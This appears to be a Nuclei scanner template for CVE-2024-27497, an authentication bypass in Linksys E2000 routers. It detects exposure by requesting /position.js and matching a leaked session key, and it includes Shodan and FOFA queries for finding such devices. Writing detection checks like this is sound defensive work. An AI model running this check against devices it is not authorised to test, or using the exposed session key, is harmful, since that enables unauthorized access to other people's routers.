id: CVE-2024-27497

info:
  name: Linksys E2000 1.0.06 position.js Improper Authentication
  author: DhiyaneshDk
  severity: high
  description: |
    Linksys E2000 Ver.1.0.06 build 1 is vulnerable to authentication bypass via the position.js file.
  impact: |
    Successful exploitation could lead to unauthorized access to the device.
  remediation: |
    Upgrade to a patched version of the firmware to mitigate the vulnerability.
  reference:
    - https://warp-desk-89d.notion.site/Linksys-E-2000-efcd532d8dcf4710a4af13fca131a5b8
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27497
    - https://github.com/Ostorlab/KEV
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    epss-score: 0.2646
    epss-percentile: 0.97808
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"Linksys E2000 WAP http config"
    fofa-query: app="LINKSYS-E2000"
  tags: cve,cve2024,linksys,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/position.js"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var session_key"
          - "close_session"
          - "HELPPATH"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220342b3efe812de99eaf5e7801634ad5b6f7e7c178cd65539fb39a40b0bf767d4602207aa39ca951a5c57bbe9aff305b79df48d85d7866c9b0340e5adb121fe4012b05:922c64590222798bb761d5b6d8e72950